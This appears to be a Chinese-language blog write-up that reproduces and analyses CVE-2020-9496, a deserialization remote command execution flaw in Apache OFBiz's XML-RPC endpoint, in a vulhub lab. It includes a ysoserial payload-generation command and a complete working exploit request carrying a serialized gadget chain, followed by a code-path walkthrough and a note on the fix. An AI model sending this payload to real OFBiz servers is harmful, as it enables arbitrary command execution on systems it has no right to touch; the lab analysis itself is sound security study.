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Apache OfBiz 反序列化命令执行漏洞&分析(CVE-2020-9496)

解决了一天gradle的报错,最后发现vulhub本身开了调试端口的…..

最后还是没搭建成功,就远程调试吧(gradle项目搭建真的报错太多了)

漏洞描述

Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。

其17.12.04版本之前的XMLRPC接口存在一处反序列化漏洞,攻击者利用这个漏洞可以在目标服务器上执行任意命令。

环境搭建

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cd vulhub-master/ofbiz/ofbiz/CVE-2020-9496
docker-compose up -d

访问https://192.168.248.129:8443/accounting/control/main

image-20240909174515306

漏洞复现

使用yso生成payload

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java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"

发送如下数据包

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POST /webtools/control/xmlrpc HTTP/1.1
Host: 192.168.248.129:8443
Content-Type: application/xml
Content-Length: 4133

<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqTK/rq+AAAANAA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASdG91Y2ggL3RtcC9zdWNjZXNzCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAceXNvc2VyaWFsL1B3bmVyNTA0ODI3Nzg4MTU1MAEAHkx5c29zZXJpYWwvUHduZXI1MDQ4Mjc3ODgxNTUwOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AEAAAAdTK/rq+AAAANAAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4cQB+AA14</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

image-20240909174612781

进入容器,查看文件

image-20240909174703633

漏洞分析

每个XML-RPC请求都以开头,该元素包含单个子元素method,元素包含子元素可以包含一个或多个元素。如:

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POST /RPC2 HTTP/1.0
User-Agent: Frontier/5.1.2 (WinNT)
Host: betty.userland.com
Content-Type: text/xml
Content-length: 181

<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>examples.getStateName</methodName>
<params>
<param>
<value>
<i4>41</i4>
</value>
</param>
</params>
</methodCall>

几种常见的数据类型

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<!-- array -->
<value>
<array>
<data>
<value><int>7</int></value>
</data>
</array>
</value>


<!-- struct -->
<struct>
<member>
<name>foo</name>
<value>bar</value>
</member>
</struct>

根据路由 /webtools/control/xmlrpc,首先定位到framework/webtools/webapp/webtools/WEB-INF/web.xml

image-20240909175556569

跟进到framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ControlServlet.java中,由于该路由对应的是ControlServlet.java文件,那么在发起相应请求时必然会调用其中的doPost方法

image-20240909180256891

跟进doGet,来到关键点

image-20240909180946896

跟进doRequest方法

image-20240909182132818

调用了controller.xml文件配置,里面定义了很多路由,包括xmlrpc

image-20240909182203174

随后来到此处

image-20240909182509738

调用了runEvent方法来处理,跟进

image-20240909182703122

查找对应event到handler然后进行invoke方法调用,经过几次调用之后就会对XmlRpc进行调用,跟进invoke方法

image-20240909205218261

判断是否传入了echo参数,没有传入,进入else

image-20240909205249684

跟进execute方法

image-20240909205506136

看一下getRequest方法

image-20240909210233582

调用了parse方法对我们的输入流进行了处理

这里需要加一个 xmlrpc-common-3.1.3.jar 文件,经过一系列调用

image-20240909212442160

来到startElement方法

image-20240909212546663

对xml参数进行了规范,然后默认步入如下代码

image-20240909213815896

继续跟进父类的startElement方法

image-20240909213900445

可以看到对pURI进行了判断,这也是为什么我们的payload要设置xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"

接着会调用ByteArrayParser的startElement进行一个base64解码

image-20240909214311938

然后又经过一系列调用

image-20240909212907894

调用了getResult方法

image-20240909212927500

对我们传入的数据进行反序列化

漏洞修复

后续修复是在该处路由增加了鉴权

image-20240910095934442